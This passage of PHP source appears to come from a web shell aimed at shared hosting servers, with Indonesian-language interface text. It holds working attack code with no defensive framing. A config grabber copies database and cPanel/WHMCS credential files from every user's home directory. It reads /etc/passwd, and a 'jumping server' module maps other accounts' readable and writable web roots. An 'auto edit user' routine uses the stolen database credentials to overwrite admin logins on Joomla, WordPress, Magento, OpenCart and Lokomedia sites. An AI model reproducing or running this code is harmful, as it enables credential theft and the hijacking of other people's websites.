"/home1/$user_os/public_html/admin/config.php" => "OpenCart",
"/home1/$user_os/public_html/slconfig.php" => "Sitelok",
"/home1/$user_os/public_html/application/config/database.php" => "Ellislab",
"/home1/$user_os/public_html/whm/configuration.php" => "WHMCS",
"/home1/$user_os/public_html/whmc/WHM/configuration.ph" => "WHMC",
"/home1/$user_os/public_html/central/configuration.php" => "WHM Central",
"/home1/$user_os/public_html/whm/WHMCS/configuration.php" => "WHMCS",
"/home1/$user_os/public_html/whm/whmcs/configuration.php" => "WHMCS",
"/home1/$user_os/public_html/submitticket.php" => "WHMCS",
"/home1/$user_os/public_html/configuration.php" => "Joomla",
"/home1/$user_os/public_html/Joomla/configuration.php" => "JoomlaJoomla",
"/home1/$user_os/public_html/joomla/configuration.php" => "JoomlaJoomla",
"/home1/$user_os/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
"/home1/$user_os/public_html/Home/configuration.php" => "JoomlaHome",
"/home1/$user_os/public_html/HOME/configuration.php" => "JoomlaHome",
"/home1/$user_os/public_html/home/configuration.php" => "JoomlaHome",
"/home1/$user_os/public_html/NEW/configuration.php" => "JoomlaNew",
"/home1/$user_os/public_html/New/configuration.php" => "JoomlaNew",
"/home1/$user_os/public_html/new/configuration.php" => "JoomlaNew",
"/home1/$user_os/public_html/News/configuration.php" => "JoomlaNews",
"/home1/$user_os/public_html/NEWS/configuration.php" => "JoomlaNews",
"/home1/$user_os/public_html/news/configuration.php" => "JoomlaNews",
"/home1/$user_os/public_html/Cms/configuration.php" => "JoomlaCms",
"/home1/$user_os/public_html/CMS/configuration.php" => "JoomlaCms",
"/home1/$user_os/public_html/cms/configuration.php" => "JoomlaCms",
"/home1/$user_os/public_html/Main/configuration.php" => "JoomlaMain",
"/home1/$user_os/public_html/MAIN/configuration.php" => "JoomlaMain",
"/home1/$user_os/public_html/main/configuration.php" => "JoomlaMain",
"/home1/$user_os/public_html/Blog/configuration.php" => "JoomlaBlog",
"/home1/$user_os/public_html/BLOG/configuration.php" => "JoomlaBlog",
"/home1/$user_os/public_html/blog/configuration.php" => "JoomlaBlog",
"/home1/$user_os/public_html/Blogs/configuration.php" => "JoomlaBlogs",
"/home1/$user_os/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
"/home1/$user_os/public_html/blogs/configuration.php" => "JoomlaBlogs",
"/home1/$user_os/public_html/beta/configuration.php" => "JoomlaBeta",
"/home1/$user_os/public_html/Beta/configuration.php" => "JoomlaBeta",
"/home1/$user_os/public_html/BETA/configuration.php" => "JoomlaBeta",
"/home1/$user_os/public_html/PRESS/configuration.php" => "JoomlaPress",
"/home1/$user_os/public_html/Press/configuration.php" => "JoomlaPress",
"/home1/$user_os/public_html/press/configuration.php" => "JoomlaPress",
"/home1/$user_os/public_html/Wp/configuration.php" => "JoomlaWp",
"/home1/$user_os/public_html/wp/configuration.php" => "JoomlaWp",
"/home1/$user_os/public_html/WP/configuration.php" => "JoomlaWP",
"/home1/$user_os/public_html/portal/configuration.php" => "JoomlaPortal",
"/home1/$user_os/public_html/PORTAL/configuration.php" => "JoomlaPortal",
"/home1/$user_os/public_html/Portal/configuration.php" => "JoomlaPortal",
"/home1/$user_os/public_html/wp-config.php" => "WordPress",
"/home1/$user_os/public_html/wordpress/wp-config.php" => "WordPressWordpress",
"/home1/$user_os/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
"/home1/$user_os/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
"/home1/$user_os/public_html/Home/wp-config.php" => "WordPressHome",
"/home1/$user_os/public_html/HOME/wp-config.php" => "WordPressHome",
"/home1/$user_os/public_html/home/wp-config.php" => "WordPressHome",
"/home1/$user_os/public_html/NEW/wp-config.php" => "WordPressNew",
"/home1/$user_os/public_html/New/wp-config.php" => "WordPressNew",
"/home1/$user_os/public_html/new/wp-config.php" => "WordPressNew",
"/home1/$user_os/public_html/News/wp-config.php" => "WordPressNews",
"/home1/$user_os/public_html/NEWS/wp-config.php" => "WordPressNews",
"/home1/$user_os/public_html/news/wp-config.php" => "WordPressNews",
"/home1/$user_os/public_html/Cms/wp-config.php" => "WordPressCms",
"/home1/$user_os/public_html/CMS/wp-config.php" => "WordPressCms",
"/home1/$user_os/public_html/cms/wp-config.php" => "WordPressCms",
"/home1/$user_os/public_html/Main/wp-config.php" => "WordPressMain",
"/home1/$user_os/public_html/MAIN/wp-config.php" => "WordPressMain",
"/home1/$user_os/public_html/main/wp-config.php" => "WordPressMain",
"/home1/$user_os/public_html/Blog/wp-config.php" => "WordPressBlog",
"/home1/$user_os/public_html/BLOG/wp-config.php" => "WordPressBlog",
"/home1/$user_os/public_html/blog/wp-config.php" => "WordPressBlog",
"/home1/$user_os/public_html/Blogs/wp-config.php" => "WordPressBlogs",
"/home1/$user_os/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
"/home1/$user_os/public_html/blogs/wp-config.php" => "WordPressBlogs",
"/home1/$user_os/public_html/beta/wp-config.php" => "WordPressBeta",
"/home1/$user_os/public_html/Beta/wp-config.php" => "WordPressBeta",
"/home1/$user_os/public_html/BETA/wp-config.php" => "WordPressBeta",
"/home1/$user_os/public_html/PRESS/wp-config.php" => "WordPressPress",
"/home1/$user_os/public_html/Press/wp-config.php" => "WordPressPress",
"/home1/$user_os/public_html/press/wp-config.php" => "WordPressPress",
"/home1/$user_os/public_html/Wp/wp-config.php" => "WordPressWp",
"/home1/$user_os/public_html/wp/wp-config.php" => "WordPressWp",
"/home1/$user_os/public_html/WP/wp-config.php" => "WordPressWP",
"/home1/$user_os/public_html/portal/wp-config.php" => "WordPressPortal",
"/home1/$user_os/public_html/PORTAL/wp-config.php" => "WordPressPortal",
"/home1/$user_os/public_html/Portal/wp-config.php" => "WordPressPortal",
"/home2/$user_os/.my.cnf" => "cpanel",
"/home2/$user_os/.accesshash" => "WHM-accesshash",
"/home2/$user_os/public_html/bw-configs/config.ini" => "BosWeb",
"/home2/$user_os/public_html/config/koneksi.php" => "Lokomedia",
"/home2/$user_os/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
"/home2/$user_os/public_html/clientarea/configuration.php" => "WHMCS",
"/home2/$user_os/public_html/whmcs/configuration.php" => "WHMCS",
"/home2/$user_os/public_html/forum/config.php" => "phpBB",
"/home2/$user_os/public_html/sites/default/settings.php" => "Drupal",
"/home2/$user_os/public_html/config/settings.inc.php" => "PrestaShop",
"/home2/$user_os/public_html/app/etc/local.xml" => "Magento",
"/home2/$user_os/public_html/admin/config.php" => "OpenCart",
"/home2/$user_os/public_html/slconfig.php" => "Sitelok",
"/home2/$user_os/public_html/application/config/database.php" => "Ellislab",
"/home2/$user_os/public_html/whm/configuration.php" => "WHMCS",
"/home2/$user_os/public_html/whmc/WHM/configuration.ph" => "WHMC",
"/home2/$user_os/public_html/central/configuration.php" => "WHM Central",
"/home2/$user_os/public_html/whm/WHMCS/configuration.php" => "WHMCS",
"/home2/$user_os/public_html/whm/whmcs/configuration.php" => "WHMCS",
"/home2/$user_os/public_html/submitticket.php" => "WHMCS",
"/home2/$user_os/public_html/configuration.php" => "Joomla",
"/home2/$user_os/public_html/Joomla/configuration.php" => "JoomlaJoomla",
"/home2/$user_os/public_html/joomla/configuration.php" => "JoomlaJoomla",
"/home2/$user_os/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
"/home2/$user_os/public_html/Home/configuration.php" => "JoomlaHome",
"/home2/$user_os/public_html/HOME/configuration.php" => "JoomlaHome",
"/home2/$user_os/public_html/home/configuration.php" => "JoomlaHome",
"/home2/$user_os/public_html/NEW/configuration.php" => "JoomlaNew",
"/home2/$user_os/public_html/New/configuration.php" => "JoomlaNew",
"/home2/$user_os/public_html/new/configuration.php" => "JoomlaNew",
"/home2/$user_os/public_html/News/configuration.php" => "JoomlaNews",
"/home2/$user_os/public_html/NEWS/configuration.php" => "JoomlaNews",
"/home2/$user_os/public_html/news/configuration.php" => "JoomlaNews",
"/home2/$user_os/public_html/Cms/configuration.php" => "JoomlaCms",
"/home2/$user_os/public_html/CMS/configuration.php" => "JoomlaCms",
"/home2/$user_os/public_html/cms/configuration.php" => "JoomlaCms",
"/home2/$user_os/public_html/Main/configuration.php" => "JoomlaMain",
"/home2/$user_os/public_html/MAIN/configuration.php" => "JoomlaMain",
"/home2/$user_os/public_html/main/configuration.php" => "JoomlaMain",
"/home2/$user_os/public_html/Blog/configuration.php" => "JoomlaBlog",
"/home2/$user_os/public_html/BLOG/configuration.php" => "JoomlaBlog",
"/home2/$user_os/public_html/blog/configuration.php" => "JoomlaBlog",
"/home2/$user_os/public_html/Blogs/configuration.php" => "JoomlaBlogs",
"/home2/$user_os/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
"/home2/$user_os/public_html/blogs/configuration.php" => "JoomlaBlogs",
"/home2/$user_os/public_html/beta/configuration.php" => "JoomlaBeta",
"/home2/$user_os/public_html/Beta/configuration.php" => "JoomlaBeta",
"/home2/$user_os/public_html/BETA/configuration.php" => "JoomlaBeta",
"/home2/$user_os/public_html/PRESS/configuration.php" => "JoomlaPress",
"/home2/$user_os/public_html/Press/configuration.php" => "JoomlaPress",
"/home2/$user_os/public_html/press/configuration.php" => "JoomlaPress",
"/home2/$user_os/public_html/Wp/configuration.php" => "JoomlaWp",
"/home2/$user_os/public_html/wp/configuration.php" => "JoomlaWp",
"/home2/$user_os/public_html/WP/configuration.php" => "JoomlaWP",
"/home2/$user_os/public_html/portal/configuration.php" => "JoomlaPortal",
"/home2/$user_os/public_html/PORTAL/configuration.php" => "JoomlaPortal",
"/home2/$user_os/public_html/Portal/configuration.php" => "JoomlaPortal",
"/home2/$user_os/public_html/wp-config.php" => "WordPress",
"/home2/$user_os/public_html/wordpress/wp-config.php" => "WordPressWordpress",
"/home2/$user_os/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
"/home2/$user_os/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
"/home2/$user_os/public_html/Home/wp-config.php" => "WordPressHome",
"/home2/$user_os/public_html/HOME/wp-config.php" => "WordPressHome",
"/home2/$user_os/public_html/home/wp-config.php" => "WordPressHome",
"/home2/$user_os/public_html/NEW/wp-config.php" => "WordPressNew",
"/home2/$user_os/public_html/New/wp-config.php" => "WordPressNew",
"/home2/$user_os/public_html/new/wp-config.php" => "WordPressNew",
"/home2/$user_os/public_html/News/wp-config.php" => "WordPressNews",
"/home2/$user_os/public_html/NEWS/wp-config.php" => "WordPressNews",
"/home2/$user_os/public_html/news/wp-config.php" => "WordPressNews",
"/home2/$user_os/public_html/Cms/wp-config.php" => "WordPressCms",
"/home2/$user_os/public_html/CMS/wp-config.php" => "WordPressCms",
"/home2/$user_os/public_html/cms/wp-config.php" => "WordPressCms",
"/home2/$user_os/public_html/Main/wp-config.php" => "WordPressMain",
"/home2/$user_os/public_html/MAIN/wp-config.php" => "WordPressMain",
"/home2/$user_os/public_html/main/wp-config.php" => "WordPressMain",
"/home2/$user_os/public_html/Blog/wp-config.php" => "WordPressBlog",
"/home2/$user_os/public_html/BLOG/wp-config.php" => "WordPressBlog",
"/home2/$user_os/public_html/blog/wp-config.php" => "WordPressBlog",
"/home2/$user_os/public_html/Blogs/wp-config.php" => "WordPressBlogs",
"/home2/$user_os/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
"/home2/$user_os/public_html/blogs/wp-config.php" => "WordPressBlogs",
"/home2/$user_os/public_html/beta/wp-config.php" => "WordPressBeta",
"/home2/$user_os/public_html/Beta/wp-config.php" => "WordPressBeta",
"/home2/$user_os/public_html/BETA/wp-config.php" => "WordPressBeta",
"/home2/$user_os/public_html/PRESS/wp-config.php" => "WordPressPress",
"/home2/$user_os/public_html/Press/wp-config.php" => "WordPressPress",
"/home2/$user_os/public_html/press/wp-config.php" => "WordPressPress",
"/home2/$user_os/public_html/Wp/wp-config.php" => "WordPressWp",
"/home2/$user_os/public_html/wp/wp-config.php" => "WordPressWp",
"/home2/$user_os/public_html/WP/wp-config.php" => "WordPressWP",
"/home2/$user_os/public_html/portal/wp-config.php" => "WordPressPortal",
"/home2/$user_os/public_html/PORTAL/wp-config.php" => "WordPressPortal",
"/home2/$user_os/public_html/Portal/wp-config.php" => "WordPressPortal",
"/home3/$user_os/.my.cnf" => "cpanel",
"/home3/$user_os/.accesshash" => "WHM-accesshash",
"/home3/$user_os/public_html/bw-configs/config.ini" => "BosWeb",
"/home3/$user_os/public_html/config/koneksi.php" => "Lokomedia",
"/home3/$user_os/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
"/home3/$user_os/public_html/clientarea/configuration.php" => "WHMCS",
"/home3/$user_os/public_html/whmcs/configuration.php" => "WHMCS",
"/home3/$user_os/public_html/forum/config.php" => "phpBB",
"/home3/$user_os/public_html/sites/default/settings.php" => "Drupal",
"/home3/$user_os/public_html/config/settings.inc.php" => "PrestaShop",
"/home3/$user_os/public_html/app/etc/local.xml" => "Magento",
"/home3/$user_os/public_html/admin/config.php" => "OpenCart",
"/home3/$user_os/public_html/slconfig.php" => "Sitelok",
"/home3/$user_os/public_html/application/config/database.php" => "Ellislab",
"/home3/$user_os/public_html/whm/configuration.php" => "WHMCS",
"/home3/$user_os/public_html/whmc/WHM/configuration.ph" => "WHMC",
"/home3/$user_os/public_html/central/configuration.php" => "WHM Central",
"/home3/$user_os/public_html/whm/WHMCS/configuration.php" => "WHMCS",
"/home3/$user_os/public_html/whm/whmcs/configuration.php" => "WHMCS",
"/home3/$user_os/public_html/submitticket.php" => "WHMCS",
"/home3/$user_os/public_html/configuration.php" => "Joomla",
"/home3/$user_os/public_html/Joomla/configuration.php" => "JoomlaJoomla",
"/home3/$user_os/public_html/joomla/configuration.php" => "JoomlaJoomla",
"/home3/$user_os/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
"/home3/$user_os/public_html/Home/configuration.php" => "JoomlaHome",
"/home3/$user_os/public_html/HOME/configuration.php" => "JoomlaHome",
"/home3/$user_os/public_html/home/configuration.php" => "JoomlaHome",
"/home3/$user_os/public_html/NEW/configuration.php" => "JoomlaNew",
"/home3/$user_os/public_html/New/configuration.php" => "JoomlaNew",
"/home3/$user_os/public_html/new/configuration.php" => "JoomlaNew",
"/home3/$user_os/public_html/News/configuration.php" => "JoomlaNews",
"/home3/$user_os/public_html/NEWS/configuration.php" => "JoomlaNews",
"/home3/$user_os/public_html/news/configuration.php" => "JoomlaNews",
"/home3/$user_os/public_html/Cms/configuration.php" => "JoomlaCms",
"/home3/$user_os/public_html/CMS/configuration.php" => "JoomlaCms",
"/home3/$user_os/public_html/cms/configuration.php" => "JoomlaCms",
"/home3/$user_os/public_html/Main/configuration.php" => "JoomlaMain",
"/home3/$user_os/public_html/MAIN/configuration.php" => "JoomlaMain",
"/home3/$user_os/public_html/main/configuration.php" => "JoomlaMain",
"/home3/$user_os/public_html/Blog/configuration.php" => "JoomlaBlog",
"/home3/$user_os/public_html/BLOG/configuration.php" => "JoomlaBlog",
"/home3/$user_os/public_html/blog/configuration.php" => "JoomlaBlog",
"/home3/$user_os/public_html/Blogs/configuration.php" => "JoomlaBlogs",
"/home3/$user_os/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
"/home3/$user_os/public_html/blogs/configuration.php" => "JoomlaBlogs",
"/home3/$user_os/public_html/beta/configuration.php" => "JoomlaBeta",
"/home3/$user_os/public_html/Beta/configuration.php" => "JoomlaBeta",
"/home3/$user_os/public_html/BETA/configuration.php" => "JoomlaBeta",
"/home3/$user_os/public_html/PRESS/configuration.php" => "JoomlaPress",
"/home3/$user_os/public_html/Press/configuration.php" => "JoomlaPress",
"/home3/$user_os/public_html/press/configuration.php" => "JoomlaPress",
"/home3/$user_os/public_html/Wp/configuration.php" => "JoomlaWp",
"/home3/$user_os/public_html/wp/configuration.php" => "JoomlaWp",
"/home3/$user_os/public_html/WP/configuration.php" => "JoomlaWP",
"/home3/$user_os/public_html/portal/configuration.php" => "JoomlaPortal",
"/home3/$user_os/public_html/PORTAL/configuration.php" => "JoomlaPortal",
"/home3/$user_os/public_html/Portal/configuration.php" => "JoomlaPortal",
"/home3/$user_os/public_html/wp-config.php" => "WordPress",
"/home3/$user_os/public_html/wordpress/wp-config.php" => "WordPressWordpress",
"/home3/$user_os/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
"/home3/$user_os/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
"/home3/$user_os/public_html/Home/wp-config.php" => "WordPressHome",
"/home3/$user_os/public_html/HOME/wp-config.php" => "WordPressHome",
"/home3/$user_os/public_html/home/wp-config.php" => "WordPressHome",
"/home3/$user_os/public_html/NEW/wp-config.php" => "WordPressNew",
"/home3/$user_os/public_html/New/wp-config.php" => "WordPressNew",
"/home3/$user_os/public_html/new/wp-config.php" => "WordPressNew",
"/home3/$user_os/public_html/News/wp-config.php" => "WordPressNews",
"/home3/$user_os/public_html/NEWS/wp-config.php" => "WordPressNews",
"/home3/$user_os/public_html/news/wp-config.php" => "WordPressNews",
"/home3/$user_os/public_html/Cms/wp-config.php" => "WordPressCms",
"/home3/$user_os/public_html/CMS/wp-config.php" => "WordPressCms",
"/home3/$user_os/public_html/cms/wp-config.php" => "WordPressCms",
"/home3/$user_os/public_html/Main/wp-config.php" => "WordPressMain",
"/home3/$user_os/public_html/MAIN/wp-config.php" => "WordPressMain",
"/home3/$user_os/public_html/main/wp-config.php" => "WordPressMain",
"/home3/$user_os/public_html/Blog/wp-config.php" => "WordPressBlog",
"/home3/$user_os/public_html/BLOG/wp-config.php" => "WordPressBlog",
"/home3/$user_os/public_html/blog/wp-config.php" => "WordPressBlog",
"/home3/$user_os/public_html/Blogs/wp-config.php" => "WordPressBlogs",
"/home3/$user_os/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
"/home3/$user_os/public_html/blogs/wp-config.php" => "WordPressBlogs",
"/home3/$user_os/public_html/beta/wp-config.php" => "WordPressBeta",
"/home3/$user_os/public_html/Beta/wp-config.php" => "WordPressBeta",
"/home3/$user_os/public_html/BETA/wp-config.php" => "WordPressBeta",
"/home3/$user_os/public_html/PRESS/wp-config.php" => "WordPressPress",
"/home3/$user_os/public_html/Press/wp-config.php" => "WordPressPress",
"/home3/$user_os/public_html/press/wp-config.php" => "WordPressPress",
"/home3/$user_os/public_html/Wp/wp-config.php" => "WordPressWp",
"/home3/$user_os/public_html/wp/wp-config.php" => "WordPressWp",
"/home3/$user_os/public_html/WP/wp-config.php" => "WordPressWP",
"/home3/$user_os/public_html/portal/wp-config.php" => "WordPressPortal",
"/home3/$user_os/public_html/PORTAL/wp-config.php" => "WordPressPortal",
"/home3/$user_os/public_html/Portal/wp-config.php" => "WordPressPortal"
);
foreach($grab_config as $config => $nama_config) {
$ambil_config = file_get_contents($config);
if($ambil_config == \'\') {
} else {
$file_config = fopen("os_config/$user_os-$nama_config.txt","w");
fputs($file_config,$ambil_config);
}
}
}
}
echo "<center><a href=\'?dir=$dir/os_config\'><font color=white>Selese Cok!</font></a></center>";
}else{
echo "<div class=\'mybox\'><form method=\"post\" action=\"\"><center><h1>Config Grabber</h1><hr color=\'white\'><br>etc/passw ( Error ? <a href=\'?dir=$dir&666=passwbypass\'>Bypass di sini!</a> )<br><br><textarea name=\"passwd\" class=\'area\' style=\'border-color=white;\' rows=\'15\' cols=\'60\'>
";
echo file_get_contents(\'/etc/passwd\');
echo "</textarea><br><br><input type=\"submit\" style=\'border-color:white; text-align:center\' class=\'kotak\' value=\"SIKAT!\"></td></tr></center></div>
";
}
} elseif($_GET[\'666\'] == \'lompat_indah\') {
$i = 0;
echo "<pre><div class=\'margin: 5px auto; mybox\'><h1>Lompat Indah [Jumping Server]</h1><hr color=\'white\'>";
$etc = fopen("/etc/passwd", "r");
while($passwd = fgets($etc)) {
if($passwd == \'\' || !$etc) {
echo "<font color=red>Can\'t read /etc/passwd</font>";
} else {
preg_match_all(\'/(.*?):x:/\', $passwd, $user_lompat_indah);
foreach($user_lompat_indah[1] as $user_os_jump) {
$user_lompat_indah_dir = "/home/$user_os_jump/public_html";
if(is_readable($user_lompat_indah_dir)) {
$i++;
$jrw = "[<font color=white>R</font>] <a href=\'?dir=$user_lompat_indah_dir\'><font color=white>$user_lompat_indah_dir</font></a><br>";
if(is_writable($user_lompat_indah_dir)) {
$jrw = "[<font color=white>RW</font>] <a href=\'?dir=$user_lompat_indah_dir\'><font color=white>$user_lompat_indah_dir</font></a><br>";
}
echo $jrw;
$domain_jump = file_get_contents("/etc/named.conf");
if($domain_jump == \'\') {
echo " => ( <font color=red>gabisa ambil nama domain nya cok !!</font> )<br>";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
foreach($domains_jump[1] as $dj) {
$user_lompat_indah_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_lompat_indah_url = $user_lompat_indah_url[\'name\'];
if($user_lompat_indah_url == $user_os_jump) {
echo " => ( <u>$dj</u> )<br>";
break;
}
}
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>Total ada ".$i." Bangsat di ".gethostbyname($_SERVER[\'HTTP_HOST\'])."";
}
echo "</div></pre>";
} elseif($_GET[\'666\'] == \'auto_edit_user\') {
if($_POST[\'sikat\']) {
if(strlen($_POST[\'pass_baru\']) < 6 OR strlen($_POST[\'user_baru\']) < 6) {
echo "username atau password harus lebih dari 6 karakter";
} else {
$user_baru = $_POST[\'user_baru\'];
$pass_baru = md5($_POST[\'pass_baru\']);
$conf = $_POST[\'config_dir\'];
$scan_conf = scandir($conf);
foreach($scan_conf as $file_conf) {
if(!is_file("$conf/$file_conf")) continue;
$config = file_get_contents("$conf/$file_conf");
if(preg_match("/JConfig|joomla/",$config)) {
$dbhost = ambilkata($config,"host = \'","\'");
$dbuser = ambilkata($config,"user = \'","\'");
$dbpass = ambilkata($config,"password = \'","\'");
$dbname = ambilkata($config,"db = \'","\'");
$dbprefix = ambilkata($config,"dbprefix = \'","\'");
$prefix = $dbprefix."users";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[\'id\'];
$site = ambilkata($config,"sitename = \'","\'");
$update = mysql_query("UPDATE $prefix SET username=\'$user_baru\',password=\'$pass_baru\' WHERE id=\'$id\'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Joomla<br>";
if($site == \'\') {
echo "Sitename => <font color=red>error, gabisa ambil nama domain nya cok !!</font><br>";
} else {
echo "Sitename => $site<br>";
}
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user cok, sana login pake user & pass baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/WordPress/",$config)) {
$dbhost = ambilkata($config,"DB_HOST\', \'","\'");
$dbuser = ambilkata($config,"DB_USER\', \'","\'");
$dbpass = ambilkata($config,"DB_PASSWORD\', \'","\'");
$dbname = ambilkata($config,"DB_NAME\', \'","\'");
$dbprefix = ambilkata($config,"table_prefix = \'","\'");
$prefix = $dbprefix."users";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == \'\') {
$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa cok !!</font><br>";
} else {
$url_target = "Login => <a href=\'$target/wp-login.php\' target=\'_blank\'><u>$target/wp-login.php</u></a><br>";
}
$update = mysql_query("UPDATE $prefix SET user_login=\'$user_baru\',user_pass=\'$pass_baru\' WHERE id=\'$id\'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Wordpress<br>";
echo $url_target;
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user cok, sana login pake user & pass baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/Magento|Mage_Core/",$config)) {
$dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
$dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
$dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
$dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
$dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
$prefix = $dbprefix."admin_user";
$option = $dbprefix."core_config_data";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
$result = mysql_fetch_array($q);
$id = $result[user_id];
$q2 = mysql_query("SELECT * FROM $option WHERE path=\'web/secure/base_url\'");
$result2 = mysql_fetch_array($q2);
$target = $result2[value];
if($target == \'\') {
$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa cok !!</font><br>";
} else {
$url_target = "Login => <a href=\'$target/admin/\' target=\'_blank\'><u>$target/admin/</u></a><br>";
}
$update = mysql_query("UPDATE $prefix SET username=\'$user_baru\',password=\'$pass_baru\' WHERE user_id=\'$id\'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Magento<br>";
echo $url_target;
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user cok, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
$dbhost = ambilkata($config,"\'DB_HOSTNAME\', \'","\'");
$dbuser = ambilkata($config,"\'DB_USERNAME\', \'","\'");
$dbpass = ambilkata($config,"\'DB_PASSWORD\', \'","\'");
$dbname = ambilkata($config,"\'DB_DATABASE\', \'","\'");
$dbprefix = ambilkata($config,"\'DB_PREFIX\', \'","\'");
$prefix = $dbprefix."user";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
$result = mysql_fetch_array($q);
$id = $result[user_id];
$target = ambilkata($config,"HTTP_SERVER\', \'","\'");
if($target == \'\') {
$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa cok !!</font><br>";
} else {
$url_target = "Login => <a href=\'$target\' target=\'_blank\'><u>$target</u></a><br>";
}
$update = mysql_query("UPDATE $prefix SET username=\'$user_baru\',password=\'$pass_baru\' WHERE user_id=\'$id\'");
echo "Config => ".$file_conf."<br>";
echo "CMS => OpenCart<br>";
echo $url_target;
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user cok, sana login pake user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
$dbhost = ambilkata($config,\'server = "\',\'"\');
$dbuser = ambilkata($config,\'username = "\',\'"\');
$dbpass = ambilkata($config,\'password = "\',\'"\');
$dbname = ambilkata($config,\'database = "\',\'"\');
$prefix = "users";
$option = "identitas";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
$result = mysql_fetch_array($q);
$target = $result[alamat_website];
if($target == \'\') {
$target2 = $result[url];
$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa cok !!</font><br>";
if($target2 == \'\') {
$url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa cok !!</font><br>";
} else {
$cek_login3 = file_get_contents("$target2/adminweb/");
$cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
$url_target2 = "Login => <a href=\'$target2/adminweb\' target=\'_blank\'><u>$target2/adminweb</u></a><br>";
} elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
$url_target2 = "Login => <a href=\'$target2/lokomedia/adminweb\' target=\'_blank\'><u>$target2/lokomedia/adminweb</u></a><br>";
} else {
$url_target2 = "Login => <a href=\'$target2\' target=\'_blank\'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
}
}
} else {
$cek_login = file_get_contents("$target/adminweb/");
$cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
$url_target = "Login => <a href=\'$target/adminweb\' target=\'_blank\'><u>$target/adminweb</u></a><br>";
} elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
$url_target = "Login => <a href=\'$target/lokomedia/adminweb\' target=\'_blank\'><u>$target/lokomedia/adminweb</u></a><br>";
} else {
$url_target = "Login => <a href=\'$target\' target=\'_blank\'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
}
}
$update = mysql_query("UPDATE $prefix SET username=\'$user_baru\',password=\'$pass_baru\' WHERE level=\'admin\'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Lokomedia<br>";
if(preg_match(\'/error, gabisa ambil nama domain nya/\', $url_target)) {
echo $url_target2;
} else {
echo $url_target;
}
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user CoK, sana login pake user & pass baru.</font><br><br>";
}
mysql_close($conn);
}
}
}
} else {
echo "<div style=\'text-align:left\' class=\'mybox\'>
<h1>Auto Edit User Config</h1><hr color=\'white\'>
<form method=\'post\'>
DIR Config:     
